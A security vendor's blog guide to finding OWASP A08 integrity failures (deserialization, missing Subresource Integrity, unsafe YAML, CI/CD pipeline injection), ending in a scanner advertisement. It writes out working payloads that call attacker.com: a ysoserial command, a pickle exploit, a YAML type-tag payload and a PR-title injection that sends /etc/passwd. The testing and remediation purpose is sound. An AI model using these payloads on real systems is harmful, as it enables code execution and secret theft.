Software and Data Integrity Failures: How to Find OWASP A08 Vulnerabilities

OWASP A08 is the youngest entry on the 2021 Top 10 list, and it covers territory that the previous version only partially addressed. It merged insecure deserialization — OWASP A8 in the 2017 list — with a broader concept: failures to verify the integrity of software, data, and CI/CD pipelines.

The real-world impact of that expanded scope is hard to overstate. SolarWinds was a software update supply chain attack. XZ Utils was a compromised open-source package shipped inside a widely deployed compression library. Both exploited the same fundamental failure: code was executed without any verification that it came from a trusted source and hadn't been tampered with.

This guide covers the full A08 attack surface — from Java deserialization gadget chains to missing Subresource Integrity attributes — and how to test for each pattern systematically.

What OWASP A08 Actually Covers

A08 groups together vulnerabilities that share a common root cause: the application makes decisions based on data or code whose integrity it hasn't verified. That spans several distinct attack patterns:

Insecure deserialization The application deserializes untrusted data using unsafe mechanisms — Java's native serialization, Python's pickle, PHP's unserialize(). An attacker who can supply a crafted serialized object can trigger arbitrary code execution, depending on which gadget chains are available in the classpath or module space.
Missing Subresource Integrity (SRI) External scripts and stylesheets loaded from CDNs are included without an integrity= attribute. If the CDN is compromised — or the attacker performs a BGP hijack or DNS poisoning — the browser fetches and executes malicious JavaScript with no warning. The browser has no way to detect the substitution.
Insecure auto-update mechanisms The application or one of its dependencies fetches and installs updates without verifying a cryptographic signature. Updates delivered over HTTP (not HTTPS) are trivially intercepted and replaced. Even HTTPS delivery is insufficient without signature verification — a compromised update server or a stolen TLS certificate is enough.
Unsafe YAML, XML, and JSON deserialization Some deserializers support type tags that instantiate arbitrary objects during parsing. Ruby's YAML.load() and Python's yaml.load() (without Loader=yaml.SafeLoader) can execute arbitrary code when parsing attacker-controlled YAML. PHP's unserialize() is similar. The correct fix is to use safe variants — yaml.safe_load(), YAML.safe_load() — that don't process type tags.
CI/CD pipeline injection Build pipelines consume inputs from pull request titles, branch names, commit messages, and environment variables — and pass them unsanitized into pipeline definitions. An attacker who can open a pull request or push a branch can inject shell commands into the build environment, exfiltrate secrets, or tamper with build artifacts. GitHub Actions, GitLab CI, and Jenkins are all susceptible to pipeline injection when inputs are interpolated without sanitization.

Testing for Insecure Deserialization

The first step is identifying whether serialized objects are present in the application's request and response surface. Serialized data has recognizable signatures:

# Java serialized objects — binary format, starts with magic bytes 0xACED 0x0005
# In base64-encoded form, always starts with:
rO0AB...

# PHP serialized objects
O:8:"stdClass":1:{s:4:"name";s:5:"Alice";}
a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}

# Python pickle — binary, starts with opcode 0x80 followed by protocol version
# In base64: gASV...  (protocol 4) or gAR...  (protocol 2)

# .NET ViewState — base64-encoded, often in hidden form fields
/wEykBQIAAQI...

Check cookies, POST body parameters, URL parameters, and custom HTTP headers. Developers sometimes store session state or object graphs in cookies using native serialization — these are common targets.

Using ysoserial for Java gadget chains

Once you've confirmed a Java serialized object is in play, ysoserial generates payloads for known gadget chains present in popular Java libraries. The tool ships with chains for Commons Collections, Spring Framework, Groovy, Hibernate, and others.

# Generate a payload using the CommonsCollections6 gadget chain
# (works without Java version constraints, widely applicable)
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)' | base64

# Then submit that base64 value wherever the application accepts
# a serialized Java object — cookie, POST parameter, etc.

# If the out-of-band request hits your server, RCE is confirmed.
# Use Burp Collaborator or interactsh for the callback.

For Python pickle, crafting a proof-of-concept is straightforward:

import pickle, os, base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/pickle-rce',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)

If the application accepts this payload via an API endpoint, a cookie, or a message queue consumer, and your callback server receives the request, you have confirmed remote code execution via unsafe deserialization.

Testing for Missing Subresource Integrity

SRI is simple to audit. Load the application and inspect every <script> and <link> tag that references an external domain. Any tag loading from a CDN without an integrity= attribute is a finding.

The difference between vulnerable and protected looks like this:

<!-- VULNERABLE: no integrity check, CDN compromise = full page takeover -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
        crossorigin="anonymous"></script>

<!-- PROTECTED: browser verifies hash before executing -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
        integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo="
        crossorigin="anonymous"></script>

In the protected version, the browser computes the SHA-256 hash of the downloaded file and compares it to the value in the integrity attribute. If they don't match, the browser refuses to execute or apply the resource. An attacker who compromises the CDN gets nothing — the hash won't match their injected payload.

Quick automated check with curl and grep:

# Fetch the page and extract all external script/link tags without integrity=
curl -s https://target.com | grep -E '(script|link).*src=' | grep -v 'integrity='

Also check dynamically loaded scripts — if the application uses JavaScript to inject additional <script> tags at runtime (common with analytics, chat widgets, A/B testing tools), those are outside SRI's protection entirely unless the calling code also verifies the hash before injection.

Testing for Unsafe YAML and XML Deserialization

YAML deserialization vulnerabilities are particularly common in Ruby on Rails applications and Python services that accept YAML input from APIs or configuration endpoints. The test is to submit a YAML document with a type tag that executes a system command:

# Python yaml.load() RCE payload
# Submit this as the body of any endpoint that deserializes YAML
!!python/object/apply:os.system ['curl http://attacker.com/yaml-rce']

# Ruby YAML.load() RCE payload (Ruby 2.x)
--- !ruby/object:Gem::Installer
i: x
# ... (full gadget chain varies by Ruby/Rails version)

For XML, look for endpoints that accept XML and test for XXE (external entity injection) before testing for deserialization gadget chains — XXE is more universally applicable and easier to confirm.

The signal to look for in all deserialization testing: unexpected outbound connections from the server, timing differences (a payload that triggers sleep(5) causing a five-second response delay), or error messages that reveal the deserialization library version.

Testing CI/CD Pipeline Integrity

Pipeline injection is often overlooked in application security testing because it lives in the development infrastructure rather than the production application. But it's within scope for A08 and can be the most impactful finding: a pipeline injection that exfiltrates AWS_SECRET_ACCESS_KEY from a build environment gives an attacker production cloud access.

What to look for in pipeline definitions:

# VULNERABLE: GitHub Actions workflow interpolating PR title directly
# An attacker opens a PR titled: foo"; curl http://attacker.com/$(cat /etc/passwd); echo "
- name: Build
  run: echo "Building ${{ github.event.pull_request.title }}"

# SAFE: use environment variable, not direct interpolation
- name: Build
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Building $PR_TITLE"

Key places to audit:

What Automated Tools Catch vs. What They Miss

A08 is a mixed bag for automated scanning. Some patterns are highly detectable; others require the kind of manual analysis that DAST tools aren't designed for.

Pattern Automated detection Why
Missing SRI attributes Excellent Static HTML analysis — presence or absence of integrity= on external scripts is unambiguous
Serialized object patterns in requests Good Magic bytes and base64 signatures are detectable; flagging their presence is straightforward
Java deserialization RCE via gadget chains Limited Identifying exploitable chains requires knowing which libraries are in the classpath — scanner can't see that
Python pickle deserialization Moderate Can probe with OOB payloads; requires a callback infrastructure to confirm
Unsafe YAML.load() Moderate Submitting type-tag payloads and watching for OOB callbacks works; false negatives if no gadget available
CI/CD pipeline injection Poor Lives outside the application; requires reading pipeline definitions and understanding data flow
Unsigned update mechanisms Poor Requires understanding the update protocol and intercepting the update flow — not surfaced via HTTP crawling

The honest summary: automated tools are strong on the surface-level signals (SRI gaps, serialized data patterns) and weak on the exploitation layer (gadget chains, pipeline injection, update mechanism analysis). The highest-severity A08 findings — the ones that give an attacker RCE — typically require manual work.

How Ironimo Approaches Integrity Failure Detection

Ironimo targets the A08 patterns that are reliably detectable through dynamic scanning:

SRI gap detection. Every page crawled is analyzed for external script and stylesheet tags. Missing integrity= attributes on CDN-hosted resources are flagged with the specific element and its source URL, so you know exactly what to fix and where.

Serialization pattern identification. Request and response bodies are scanned for serialized object signatures — Java magic bytes in base64, PHP O: and a: patterns, Python pickle opcodes, .NET ViewState indicators. When these are found in attacker-controlled positions (URL parameters, cookies, POST bodies), they're flagged for manual follow-up.

Security header analysis. Ironimo checks for the presence and correctness of Content-Security-Policy headers, which provide a defense-in-depth layer against injected scripts — even if SRI is missing, a well-configured CSP restricts which external domains can serve scripts at all.

The gadget chain exploitation step — actually achieving RCE via a deserialization finding — requires knowing the server-side classpath and available libraries. That's beyond what dynamic scanning can determine without source access. Ironimo surfaces the attack surface; a follow-up manual test confirms exploitability.

Remediation Priorities

If you're triaging A08 findings, prioritize in this order:

  1. Stop accepting serialized objects from untrusted sources. If you're passing user-controlled data into pickle.loads(), unserialize(), or Java's ObjectInputStream, that's the highest-severity fix. Replace with JSON or another data-only format. If you must deserialize, use allowlist validation on the type before instantiation.
  2. Switch to safe deserializers. Replace yaml.load() with yaml.safe_load(). Replace Ruby's YAML.load() with YAML.safe_load(). These refuse to instantiate arbitrary types.
  3. Add SRI to all external scripts and stylesheets. Generate hashes using the SRI Hash Generator (https://www.srihash.org) or openssl dgst -sha256 -binary file.js | openssl base64 -A. Add the integrity= and crossorigin="anonymous" attributes. Automate this in your build pipeline so new CDN dependencies are always hashed.
  4. Fix pipeline injection. Never interpolate untrusted inputs directly into run: blocks. Use environment variables as the indirection layer. Pin external action dependencies to full commit SHAs, not branch names or version tags.
  5. Verify update signatures. Any software that fetches and applies updates should verify a cryptographic signature before execution. Deliver updates over HTTPS and additionally sign the payload — don't rely on transport security alone.

Ironimo scans your application for SRI gaps, serialized object patterns in request parameters, and security header weaknesses — the detectable layer of OWASP A08 — using the same Kali Linux toolset professional pentesters run against production applications.

Schedule on-demand or recurring scans. Results include the exact request that reproduced the finding, the response that confirms it, and a clear remediation path.

Start free scan
← Back to blog